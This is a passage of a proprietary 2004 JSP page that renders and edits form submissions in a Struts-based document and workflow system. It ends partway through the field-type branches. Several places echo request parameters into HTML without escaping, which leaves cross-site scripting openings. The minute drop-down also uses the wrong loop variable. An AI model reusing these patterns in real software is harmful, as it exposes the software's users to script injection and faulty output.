<%
/*
 * @(#)EditFormPageSubmission.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormPageSubmission.jsp

  This class is reflecting business logic uses.

    @author           Scott Tong
    @company          DCIVision Limited
    @creation date    05/01/2004
    @version          $Revision: 1.70.2.11 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.form.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSubmissionForm" scope="request" class="com.dcivision.form.web.MaintFormSubmissionForm"/>

<script language="Javascript" src="<%= request.getContextPath() %>/js/FormAttachment.jsp" charset="UTF-8" type="text/javascript"></script>
<%
  String LIST_NAME = "formPageList";
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  Integer submissionID;
  String formSubmissionID = request.getParameter("formSubmissionID");

  int pageListSize =0;
  List formPageList = (List)request.getAttribute("formPageListName");
  if (request.getAttribute("formPageListName")!=null) {
    pageListSize = formPageList.size();
  }

%>
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<html:form action="form/MaintFormSubmission">
<html:javascript formName="maintFormSubmissionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String FIELD_HEADER = "FB_FIELD_";

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

   String sPreviewValue = (String)request.getAttribute("preview");

   String exportFunction = (String)request.getAttribute("exportFunction");

   String sCurFunctionCode = SystemFunctionConstant.FORM_SUBMISSION;

   String functionType = "";
   if(sPreviewValue != null)
     functionType="common.label.form_action_preview";
   else
     functionType="common.label.form_action_new";

   SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);

   Integer pageID = new Integer(1);
   Integer sectionID = new Integer(1);

   int formPageNo = 0;

    //Routing rule
   FormRoutingRuleDAObject formRoutingRuleDAO = new FormRoutingRuleDAObject(sessionContainer,conn);
   FormElementDAObject formElementDAO = new FormElementDAObject(sessionContainer,conn);
   List routingRuleList = formRoutingRuleDAO.getListByFormRecordID(request.getParameter("formRecordID"));
   String onchangeElementIDStr = "";
   String onchangeElementID = "";
   String targetElement = "";

   //Begin check Routing Rule,the rule type is caculate.
   for (int mm=0; mm<routingRuleList.size(); mm++){
     FormRoutingRule formRoutingRule = (FormRoutingRule)routingRuleList.get(mm);
     if (FormRoutingRule.ROUTING_TYPE_CALCULATE.equals(formRoutingRule.getRuleType())){
       String targetElementName = formRoutingRule.getTargetElementID().substring(1,formRoutingRule.getTargetElementID().length());
       String equation = TextUtility.replaceString((String)formRoutingRule.getFormOperationEquation(), "!!!", "+");
       String[] expressionArr = TextUtility.splitString(equation, "=");
       String expression = expressionArr[1];
       String[] tmpItemArr = TextUtility.splitString(expression, "|");
       String tmpElement = "";
       onchangeElementIDStr = targetElementName+"$";
       for(int j=0; j<tmpItemArr.length; j++){
          if(tmpItemArr[j].trim().startsWith(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR)){
            tmpElement = tmpItemArr[j].substring(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR.length());
            onchangeElementIDStr +=  tmpElement+"|";
          }
        }
     }
   }
    //End check Routing Rule,the rule type is calculate.



  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

   Map alignment = new TreeMap();
   alignment.put("default", "left");
   alignment.put(FormElement.LABEL_POSITION_LEFT, "left");
   alignment.put(FormElement.LABEL_POSITION_RIGHT, "right");
   alignment.put(FormElement.LABEL_POSITION_CENTER, "center");
%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>

<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<input type="hidden" name="formRecordID" value='<%=request.getParameter("formRecordID")%>'/>
<input type="hidden" name="function" value='<%=request.getParameter("function")%>'/>

<table width="650" border="0" cellspacing="1" cellpadding="0">
  <tr>
    <td colspan="2">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td align="right"><b><font color='red'>*</font> <bean:message key='common.label.mandatory'/></b></td>
        </tr>
      </table>
    </td>
  </tr>
  <!--//@@ snapshot -->
  <Tr><td colspan="2"><html:img src="LayoutSpacer.gif"  height="20" width="1"/></td></tr>
  <tr>
    <td colspan="2">
<!-- ************************************** Start of Form Border ********************************** -->
<%for (int pp=0; pp<formPageList.size(); pp++){
    FormPage formPage = (FormPage)formPageList.get(pp);
    pageID = formPage.getID();
%>
<!--########################### Page <%=pp%> Table Begin ############################### -->
<table border=0 cellspacing="0" cellpadding="0" width="100%">
    <tr align="left">
        <td valign="top" width="100%">
<!-- ************************************** Start of Form Content ********************************** -->
        <table width="100%" border="0">
            <tr>
              <td valign="top" align="right"><bean:message key='form.label.page'/><%=pp+1%></td>
            </tr>
            <tr>
                <td valign="top" align='<%=alignment.get(TextUtility.noNull(formPage.gettitlePosition(), "default"))%>'>
                <font style="<%=resolveFontStyle(formPage.getTitleFontStyle(),formPage.getTitleFontSize(),formPage.getTitleFontType(),formPage.getTitleFontColor())%>"><%=formPage.getTitle()%></font>&nbsp;
                </td>
            </tr>
            <tr>
              <td align="center">&nbsp;</td>
            </tr>
        </table>
<%
  //get the form section list

  Integer elementID;
  List formSectionList = formPage.getFormSectionList();
  for (int i=0; i<formSectionList.size(); i++) {
    FormSection tmpFormSection = (FormSection) formSectionList.get(i);
    sectionID = tmpFormSection.getID();
    if ("DMS".equals(exportFunction) && "Y".equals(tmpFormSection.getSubSection())){
      continue;
    }
%>
        <!--BEGIN SectionID<%=tmpFormSection.getID()%>-->
        <script language="Javascript">
        function OpCustomizedValidation_<%=sectionID%>(){
            return true;
        }
        </script>
        <table width="100%" border="0">
            <tr >
                <td  align='<%=alignment.get(TextUtility.noNull(tmpFormSection.getsectionPosition(), "default"))%>'>
                <font style="<%=resolveFontStyle(tmpFormSection.getsectionFontStyle(),tmpFormSection.getsectionFontSize(),tmpFormSection.getsectionFontType(),tmpFormSection.getsectionFontColor())%>"><%=tmpFormSection.getTitle()%></font>&nbsp;
                </td>
            </tr>
            <tr>
                <td align="center" bgcolor="black"><html:img src="LayoutSpacer.gif"  height="1" width="400"/></td>
            </tr>
        </table>
        <table width="100%" border="0">
<%
    //get form element list under a form section
    List formElementList = tmpFormSection.getFormElementList();
    for (int j=0; j<formElementList.size(); j++) {

      FormElement tmpFormElement = (FormElement) formElementList.get(j);
      elementID = tmpFormElement.getID();
      String fieldName=FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpFormElement.getID();
      String elementAlign = "left";

      Integer fontSize;
      String fontColor = "";
      String fontStyle = "";
      String labelPosition = "";
      String fontType = "";
      String preFontStyle = "<font ";        //Prefix  FontStyle
      String posFontStyle = "</font>";       //Postfix FontStyle
      String nextFontStyle = "";
      MtmFormSectionFormElementDAObject mtmFormSectionFormElementDAO = new MtmFormSectionFormElementDAObject(sessionContainer,conn);
      MtmFormSectionFormElement tmpMtmFormSectionFormElement = (MtmFormSectionFormElement)mtmFormSectionFormElementDAO.getObjectBySectionIDElementID(sectionID,elementID);

      fontSize = tmpFormElement.getFontSize();
      fontColor = tmpFormElement.getFontColor();
      fontStyle = tmpFormElement.getFontStyle();
      fontType = tmpFormElement.getFontType();

    //get the element value from Form_Data_Element
    String elementValue = "";
        String formDataIDStr = "";
        List attachmentList = new ArrayList();
        List tmpAttachmentList = new ArrayList();
        if(!Utility.isEmpty(formSubmissionID) && !"".equals(formSubmissionID)){

            submissionID = Integer.valueOf(formSubmissionID);
            FormDataElementDAObject formDataElementDAO = new FormDataElementDAObject(sessionContainer,conn);
            FormDataDAObject formDataDAO = new FormDataDAObject(sessionContainer,conn);
            FormFileAttachmentDAObject formFileAttachDAO = new FormFileAttachmentDAObject(sessionContainer,conn);


            try {
                List formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementID(pageID,sectionID,submissionID,elementID);

                for (int kk=0;kk<formDataList.size();kk++) {
                        FormData formData = (FormData)formDataList.get(kk);
                        if (kk>0) {
                            elementValue += ",";
                        }
                            elementValue += (!"null".equals(formData.getDataString()) && !Utility.isEmpty(formData.getDataString())) ? formData.getDataString() : "";
                                tmpAttachmentList = formFileAttachDAO.getFormFileAttachmentListByFormDataElementID(formData.getDataElementID());
                                if (!Utility.isEmpty(tmpAttachmentList)){
                                  attachmentList.addAll(formFileAttachDAO.getFormFileAttachmentListByFormDataElementID(formData.getDataElementID()));
                        }
                }

            } catch (ApplicationException ae) {
                org.apache.commons.logging.LogFactory.getLog("FormDataDAObject").error("getByDataElementID error");
            }

        }

%>
        <tr>
            <td nowrap align='<%=alignment.get(TextUtility.noNull(tmpFormElement.getLabelPosition(), "default"))%>' width="21%" class="greyD">
                <%if (!tmpFormElement.isTopLabelPosition(tmpFormElement.getLabelPosition()) && !tmpFormElement.isHiddenLabelPosition(tmpFormElement.getLabelPosition())) {%>
                <%if("Y".equals(tmpFormElement.getRequiredFlag())){%><font color="red">*</font><%}%>
                <span id='elementNameLabel_<%=fieldName%>'>
                <font style="<%=resolveFontStyle(fontStyle,fontSize,fontType,fontColor)%>"><%=tmpFormElement.getFieldName()%></font>&nbsp;
                </span>
                <%}%>
            </td>
            <td class="greyD">
                <%if (tmpFormElement.isTopLabelPosition(tmpFormElement.getLabelPosition()) && !tmpFormElement.isHiddenLabelPosition(tmpFormElement.getLabelPosition())) {%>
                <%=tmpFormElement.getFieldName()%><br>
                <%}%>
<%
        //START TEXT BOX
        if(FormElementType.ELEMENT_TEXT.equals(tmpFormElement.getElementType())){
            if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                if(!Utility.isEmpty(formSubmissionID) ){
                    out.print(elementValue);
                } else {
                    out.print(request.getParameter(fieldName));
                }
            } else {
                if (!Utility.isEmpty(onchangeElementIDStr)){
                    String[] elementIDArr = TextUtility.splitString(onchangeElementIDStr,"$");
                    targetElement = elementIDArr[0];
                    String[] elementNameArr = TextUtility.splitString(elementIDArr[1],"|");
                    for (int nn=0; nn<elementNameArr.length; nn++){
                        String[] tmpPageSectionElementArr = TextUtility.splitString(elementNameArr[nn],"_");
                        if(tmpPageSectionElementArr[4].equals(tmpFormElement.getID().toString())){
                            onchangeElementID = tmpPageSectionElementArr[4];
                        }
                    }
                }
        %>
                <input type='text' name='<%=fieldName%>' value='<%=TextUtility.noNull(tmpFormElement.getDefaultValue())%>' size='<%=tmpFormElement.getWidth()%>' maxlength='200' <%if(onchangeElementID.equals(tmpFormElement.getID().toString())){%> onchange='opChangeElement_<%=targetElement%>()'<%}%>/>
        <%
            }
        }
        //END TEXT BOX

        //START CURRENT LOGIN
        if(FormElementType.ELEMENT_CURRENT_LOGIN.equals(tmpFormElement.getElementType())){
            if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                if(!Utility.isEmpty(formSubmissionID) ){
                    out.print(elementValue);
                } else {
                    out.print(request.getParameter(fieldName));
                }
            } else {
			        if(Utility.isEmpty(tmpFormElement.getDefaultValue())){
					  tmpFormElement.setDefaultValue(sessionContainer.getUserRecord().getFullName());
					}
        %>
                <input type='text' name='<%=fieldName%>' value='<%=TextUtility.noNull(tmpFormElement.getDefaultValue())%>' size='<%=tmpFormElement.getWidth()%>' maxlength='200'/>
        <%
            }
        }
        //END CURRENT LOGIN

        //START CURRENT DATE
        if(FormElementType.ELEMENT_CURRENT_DATE.equals(tmpFormElement.getElementType())){
            if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                if(!Utility.isEmpty(formSubmissionID) ){
                    out.print(elementValue);
                } else {
                    out.print(request.getParameter(fieldName));
                }
            } else {
			  String currentDate = (Utility.getCurrentTimestamp().toString()).substring(0,10);
			  if(Utility.isEmpty(tmpFormElement.getDefaultValue())){
			     tmpFormElement.setDefaultValue(currentDate);
			  }
        %>
                <input type='text' name='<%=fieldName%>' value='<%=TextUtility.noNull(tmpFormElement.getDefaultValue())%>' size='<%=tmpFormElement.getWidth()%>' maxlength='200'/>
        <%
            }
        }
        //END CURRENT DATE

        //START TEXT AREA
        else if(FormElementType.ELEMENT_TEXT_AREA.equals(tmpFormElement.getElementType())){
            if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                if(!Utility.isEmpty(formSubmissionID) ){
                    out.print(elementValue);
                } else {
                    out.print(request.getParameter(fieldName) );
                }
            } else {
        %>
                <textarea name='<%=fieldName%>' value='<%=TextUtility.noNull(tmpFormElement.getDefaultValue())%>' rows='<%=tmpFormElement.getHeight()%>' cols='<%=tmpFormElement.getWidth()%>' onkeydown='CheckTextArea(this, 1300);' onkeyup='CheckTextArea(this, 1300);'><%=TextUtility.noNull(tmpFormElement.getDefaultValue())%></textarea>
        <%
            }
        }
        //END TEXT AREA

        //START LABEL
        else if(FormElementType.isLabel(tmpFormElement.getElementType())){
            // Do nothing
        }
        //END LABEL

        //START PASSWORD
        else if(FormElementType.ELEMENT_PASSWORD.equals(tmpFormElement.getElementType())){
            if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                out.println("********************");
            } else {
        %>
                <input type='password' name='<%=fieldName%>' value='<%=TextUtility.noNull(tmpFormElement.getDefaultValue())%>' rows='<%=tmpFormElement.getHeight()%>' cols='<%=tmpFormElement.getWidth()%>'/>
        <%
            }
        }
        //END PASSWORD

        //START SIGNATURE
        if(FormElementType.ELEMENT_SIGNATURE.equals(tmpFormElement.getElementType())){
            if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                if(!Utility.isEmpty(formSubmissionID) ){
                    out.print(elementValue);
                } else {
                    out.print(request.getParameter(fieldName));
                }
            } else if (Utility.isEmpty(elementValue)){
        %>
                <input type='text' name='<%=fieldName%>' value='<%=TextUtility.noNull(tmpFormElement.getDefaultValue())%>' size='<%=tmpFormElement.getWidth()%>' maxlength='200'/>
        <%
            }
        }
        //END SIGNATURE

            
        //START CONDITIONID
        else if(FormElementType.ELEMENT_CONDITIONAL_FIELD.equals(tmpFormElement.getElementType())){
            if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                if(!Utility.isEmpty(formSubmissionID) ){
                    out.print(elementValue);
                } else {
                    out.print(request.getParameter(fieldName) );
                }
            } else {
        %>
                <input type='text' name='<%=fieldName%>' value='<%=TextUtility.noNull(tmpFormElement.getDefaultValue())%>' size='<%=tmpFormElement.getWidth()%>' maxlength='200'
                onchange='<%= FormConstant.FORM_DB_LOOKUP_FUNCTION_NAME+"("+tmpFormElement.getID()+","+fieldName+")" %>'/>
        <%
            }
        }
        //END CONDITIONID

        //START IMAGE
        else if (FormElementType.ELEMENT_IMAGE.equals(tmpFormElement.getElementType())) {
            String imageName="";
            FormAttachDAObject formAttachDAO = new FormAttachDAObject(sessionContainer,conn);
            FormAttach formAttach=null;
            if (formAttachDAO.getObjectByID(elementID)!=null) {
                formAttach = (FormAttach)formAttachDAO.getObjectByID(elementID);
            }
            if (!Utility.isEmpty(formAttach) && !Utility.isEmpty(formAttach.getFileName())) {
                imageName=formAttach.getFileName();
        %>
                <img src="<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.APPLICATION_BASE_URL)%>/form/ShowFormImageServlet/<%=tmpFormElement.getID()+ imageName.substring(imageName.indexOf("."),imageName.length())%>">     </td>
        <%
            }
         }
        //END IMAGE

        //START DATEPICKER
        else if(FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement.getElementType())){
            String imageName = "imgCalendar_"+fieldName;
            if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                if(!Utility.isEmpty(formSubmissionID) ){
                    out.print(Utility.isEmpty(elementValue)?"":elementValue.substring(0,10));
                } else {
                    out.print(Utility.isEmpty(request.getParameter(fieldName))?"":request.getParameter(fieldName).substring(0,10));
                }
            } else {
        %>
                <input type="hidden" name='<%=fieldName%>' value="<%=elementValue%>" >
                <input type="text" name="dummy_<%=fieldName%>" maxlength="10" size="10" value="<%=TextUtility.noNull(TextUtility.parseDBDateTime(tmpFormElement.getDefaultValue()))%>"  onblur="if(typeof(fcheck_date) == 'function')return (fcheck_date(this, '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).substring(0,10).toLowerCase()%>'));">
                <a href="javascript:void(0);" onmouseover="if('undefined'!=typeof(timeoutId)){if (timeoutId) clearTimeout(timeoutId)};window.status='Show Calendar';return true;" onclick="if('undefined'!=typeof(isImport_<%=sectionID%>_<%=tmpFormElement.getID()%>)){if (isImport_<%=sectionID%>_<%=tmpFormElement.getID()%>!='Y'){gfPop.fPopCalendar(document.maintFormSubmissionForm.dummy_<%=fieldName%>,document.maintFormSubmissionForm.<%=fieldName%>,depRange,false,'<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).substring(0,10).toLowerCase()%>',true);}}">
                <html:img src='IconCalendar.gif'  imageName='<%=imageName%>' align='absmiddle' width='34' height='21' border='0' alt=''/></a>
        <%
            }
        }
        //END DATEPICKER

        //START TIMEPICKER
        else if(FormElementType.ELEMENT_TIME_PICKER.equals(tmpFormElement.getElementType())){
            String sFieldID = pageID+"_"+sectionID+"_"+tmpFormElement.getID();
            if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                if(!Utility.isEmpty(formSubmissionID) && !GlobalConstant.OP_MODE_UPDATE.equals(maintFormSubmissionForm.getOpMode()) ){
                    out.print((Utility.isEmpty(elementValue)||"null".equals(elementValue))?"":elementValue);
                } else {
                    out.print(Utility.isEmpty(request.getParameter(fieldName))?"":request.getParameter(fieldName));
                }
            } else {
                int iHourPart = (!Utility.isEmpty(tmpFormElement.getDefaultValue()) && !"null".equals(tmpFormElement.getDefaultValue()))? new Integer(tmpFormElement.getDefaultValue().substring(0,2)).intValue() : -1;
                int iMinutePart = (!Utility.isEmpty(tmpFormElement.getDefaultValue()) && !"null".equals(tmpFormElement.getDefaultValue()))? new Integer(tmpFormElement.getDefaultValue().substring(3,5)).intValue() : -1;

                //hour selection box
                out.print("<select name='"+"TIME_HOUR_"+sFieldID+"' ");
                out.print("onchange=\"if(typeof(getOntimechange) == 'function')getOntimechange(\'"+sFieldID+"\')\" ");
                out.println(">");
                for (int n=0; n<24; n++) {
                    out.print("  <option value=\""+(n<10? ("0"+n): Integer.toString(n))+"\" "+(iHourPart==n? "selected": "")+">"+(n<10? ("0"+n): Integer.toString(n))+"</option>");
                }
                out.println("</select>");
                out.println(":");

                //minute selection box
                out.print("<select name='"+"TIME_MIN_"+sFieldID+"'");
                out.print("onchange=\"if(typeof(getOntimechange) == 'function')getOntimechange(\'"+sFieldID+"\')\" ");
                out.println(">");
                for (int ii=0; ii<60; ii++) {
                    out.print("  <option value=\""+(ii<10? ("0"+i): Integer.toString(ii))+"\" "+(iMinutePart==ii? "selected": "")+">"+(ii<10? ("0"+ii): Integer.toString(ii))+"</option>");
                }
                out.println("</select>");
                out.println("<input type='hidden' name='"+fieldName+"' value='"+elementValue+"' />");

            }
        }
        //END TIMEPICKER

        //START USERPICKER
        else if(FormElementType.ELEMENT_USER_PICKER.equals(tmpFormElement.getElementType())){
            String imageName = "imgCalendar_"+fieldName;
            if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                if(!Utility.isEmpty(formSubmissionID) ){
                    out.print(Utility.isEmpty(elementValue)?"":elementValue);
                } else {
                    out.print(Utility.isEmpty(request.getParameter(fieldName))?"":request.getParameter(fieldName));
                }
            } else {
        %>
                <input type="text" name="dummy_<%=fieldName%>" value="<%=elementValue%>" onkeydown="return false;" onkeypress="return false;" >
                <input type="hidden" name="<%=fieldName%>" value="<%=elementValue%>">
                <a href="javascript:void(0);" onclick="if(typeof(OpenCenteredPopup) == 'function')return OpenCenteredPopup('../user/PopupUserRecord.do?mode=L&property=<%=fieldName%>&form=maintFormSubmissionForm', 'DCIVisionPopupUser', 700, 550, 'scrollbars=yes,resizable=yes');"><img src="../theme/pref1/img/common/IconSearchUser.gif" name='<%=imageName%>' align="absmiddle" border="0" ></a>
        <%
            }
        }
        //END USERPICKER

        //START FILE BOX
        else if(FormElementType.ELEMENT_FILE.equals(tmpFormElement.getElementType())){
            String fileHideName = pageID+"_"+sectionID+"_"+tmpFormElement.getID();
            int normalFileCount = 0,dmsFileCount = 0;
            String versionID = "";
            String fileNames = "",displayFileNames = "",dmsFileNames = "", displayDmsFileNames = "";
            String imageName = "ButtonUploadAttachment_"+fileHideName;
            if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
                if(!Utility.isEmpty(formSubmissionID) ){
                    for (int ii=0; ii<attachmentList.size(); ii++) {
                        FormFileAttachment attachment = (FormFileAttachment)attachmentList.get(ii);
                        if (WorkflowProgressAttachment.ATTACHED_DMS_VERSION_SYSTEM_ID.equals(attachment.getAttachmentType()) ){
                            versionID = attachment.getExternalID();
                            DmsVersionDAObject dmsVersionDAO = new DmsVersionDAObject(sessionContainer, conn);
                            DmsVersion dmsVersion = (DmsVersion)dmsVersionDAO.getObjectByID(new Integer(versionID));
                            Integer dmsDocumentID = dmsVersion.getDocumentID();
                            out.println("<a href='../dms/FileDownloadServlet?sCurFunctionCode=DMS_PUBLIC_FOLDER&targetID="+dmsDocumentID+"&documentType=D&version=TOP&ext=.HTM' target='_blank'>");
                            out.println("<img src='../theme/pref1/img/common/IconFile.gif' align='absmiddle' border='0' />");
                            out.println(attachment.getAttachmentName()+"</a>");
                        }else{
                            out.println("<a href='../form/GetFormFileAttachmentServlet?ID="+attachment.getID()+"' target='_blank'><img src='../theme/pref1/img/common/IconFile.gif' align='absmiddle' border='0' />");
                            out.println(attachment.getAttachmentName()+"</a>");
                        }
                    }
                }
            } else {
        %>
                <input type='hidden' name='<%="fileNames_"+fileHideName%>' value=''/>
                <input type='hidden' name='<%="dmsFileNames_"+fileHideName%>' value=''/>
                <input type='hidden' name='<%="displayFileNames_"+fileHideName%>' value=''/>
                <input type='hidden' name='<%="displayDmsFileNames_"+fileHideName%>' value=''/>
                <input type='hidden' name='<%="FB_FILES_"+fileHideName%>' value=''/>
                <input type='hidden' name='<%="oldUpdateFileText_"+fileHideName%>' value=''/>
                <input type='hidden' name='<%="oldUpdateFileValue_"+fileHideName%>' value=''/>
                <span id='<%="attachmentDiv_"+fileHideName%>' style='display:block;float:left;width:200px;height:25px;overflow:auto;background-color:#FFFFFF;layer-background-color:#FFFFFF;border-style:inset;border-width:1px;'></span>
                <script language='javaScript'>if(typeof(redrawAttachmentPanel) == "function"){redrawAttachmentPanel('<%=fileHideName%>');}</script>
        <%
                if ( sysFunction!=null && GlobalConstant.STATUS_ACTIVE.equals(sysFunction.getStatus()) ){
                    PermissionManager permissionManager = sessionContainer.getPermissionManager();
                    Integer DMS_PERSONAL_FOLDER = new Integer("6001");
                    Integer DMS_PUBLIC_FOLDER = new Integer("6002");
                    String permissionStr = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PERSONAL_FOLDER);
                    permissionStr += permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PUBLIC_FOLDER);
                    if(!Utility.isEmpty(permissionStr) && permissionStr.indexOf("R") > -1 ){
        %>
                <% String actionString = "if(typeof(isImport_"+sectionID+"_"+tmpFormElement.getID()+")!='undefined')if (isImport_"+sectionID+"_"+tmpFormElement.getID()+"!='Y'){OpenCenteredPopup('../upload/ListLookupFromParaDoc.do?navMode=V&fileNameSeqNo="+fileHideName+"&SHOW_HEADER_FOOTER=N', 'attachmentDiv', '800', '650', 'scrollbars=yes');}"; %>
                <html:standardButton label="upload.label.uploadattachement" onClick='<%= actionString %>' onmouseover="if('undefined'!=typeof(timeoutId)){if (timeoutId) clearTimeout(timeoutId);}window.status='Show Upload File';return true;"/><br>
                <span id="attachmentDiv_DB_<%=fileHideName%>"></span>
        <%
                    }else{
        %>
                <% String actionString = "if(typeof(isImport_"+sectionID+"_"+tmpFormElement.getID()+")!='undefined')if (isImport_"+sectionID+"_"+tmpFormElement.getID()+"!='Y'){OpenCenteredPopup('../upload/MaintMultipleFileUpload.do?navMode=V&fileNameSeqNo="+fileHideName+"&SHOW_HEADER_FOOTER=N', 'attachmentDiv', '800', '650', null);}"; %>
                <html:standardButton label="upload.label.uploadattachement" onClick='<%=actionString%>' onmouseover="if('undefined'!=typeof(timeoutId)){if (timeoutId) clearTimeout(timeoutId);}window.status='Show Upload File';return true;"/><br>
                <span id="attachmentDiv_DB_<%=fileHideName%>"></span>
        <%
                    }
                }else{
        %>
                 <% String actionString = "if(typeof(isImport_"+sectionID+"_"+tmpFormElement.getID()+")!='undefined')if (isImport_"+sectionID+"_"+tmpFormElement.getID()+"!='Y'){OpenCenteredPopup('../upload/MaintMultipleFileUpload.do?navMode=V&fileNameSeqNo="+fileHideName+"&SHOW_HEADER_FOOTER=N', 'attachmentDiv', '800', '650', null);}" ; %>
                 <html:standardButton label="upload.label.uploadattachement" onClick='<%=actionString%>' onmouseover="if('undefined'!=typeof(timeoutId)){if (timeoutId) clearTimeout(timeoutId);}window.status='Show Upload File';return true;"/><br>
                 <span id="attachmentDiv_DB_<%=fileHideName%>"></span>
        <%
                }
            }
        }
        //END FILE BOX

        //if the form element is selection type
        else if(FormElementType.isSelection(tmpFormElement.getElementType())){
            FormSelectionField formSelectionField = tmpFormElement.getFormSelectionField();
            if(formSelectionField != null){
                String brString = "";
                if (!Utility.isEmpty(formSelectionField.getDisplayType())) {
                    brString = formSelectionField.isVertical(formSelectionField.getDisplayType())? "<br>":"";
                }
                List formSelectionFieldOptionList = formSelectionField.getFormSelectionFieldOptionList();
                for (int k=0; k<formSelectionFieldOptionList.size(); k++) {
                    FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) formSelectionFieldOptionList.get(k);

                    //START RADIO BOX
                    if(FormElementType.ELEMENT_RADIO_BUTTON.equals(tmpFormElement.getElementType())){
        %>
                <input type='radio' name='<%=fieldName%>' value='<%=tmpFormSelectionFieldOption.getStartValue()%>'
        <%
                        if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() ) ) {
                            if (!Utility.isEmpty(formSubmissionID) && elementValue.equals(tmpFormSelectionFieldOption.getStartValue()) ){
                                out.print(" checked "); // Disabled form element in "NAV_MODE_VIEW" status.
                            } else if (!Utility.isEmpty(request.getParameter(fieldName) ) && request.getParameter(fieldName).equals(tmpFormSelectionFieldOption.getStartValue()) ) {
                                out.print(" checked ");
                            }
                            out.write(" disabled ");
                        } else if(tmpFormElement.getDefaultValue()!=null && tmpFormElement.getDefaultValue().equals(tmpFormSelectionFieldOption.getStartValue())){
                            out.print(" checked ");
                        }
        %>
                    /><span id='label_<%=fieldName%>'><%=tmpFormSelectionFieldOption.getLabel()%></span><!--FormSelectionFieldOptionID<%=tmpFormSelectionFieldOption.getID()%>--><%=brString%>
        <%
                    }
                    //END RADIO BOX

                    //START CHECK BOX
                    else if(FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement.getElementType())){
        %>
                <input type='checkbox' name='<%=fieldName%>_<%=tmpFormSelectionFieldOption.getID()%>' value='<%=tmpFormSelectionFieldOption.getStartValue()%>'
        <%
                        String fdefaultValue=(tmpFormElement.getDefaultValue()==null)? "" : tmpFormElement.getDefaultValue();
                        if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode()) ) {
                            if (!Utility.isEmpty(request.getParameter(fieldName)) && request.getParameter(fieldName+"_"+tmpFormSelectionFieldOption.getID()).equals(tmpFormSelectionFieldOption.getStartValue()) ){
                                out.write(" checked ");
                            } else if (!Utility.isEmpty(elementValue) && elementValue.equals(tmpFormSelectionFieldOption.getStartValue())) {
                                out.write(" checked ");
                            }
                            out.write(" disabled ");
                        } else if(fdefaultValue.indexOf(k+",")>=0){
                            out.write(" checked ");
                        }
        %>
                    /><span id='label_<%=fieldName%>_<%=tmpFormSelectionFieldOption.getID()%>'><%=tmpFormSelectionFieldOption.getLabel()%></span><%=brString%>
        <%
                    }
                    //END CHECK BOX

                    //START SELECTION BOX
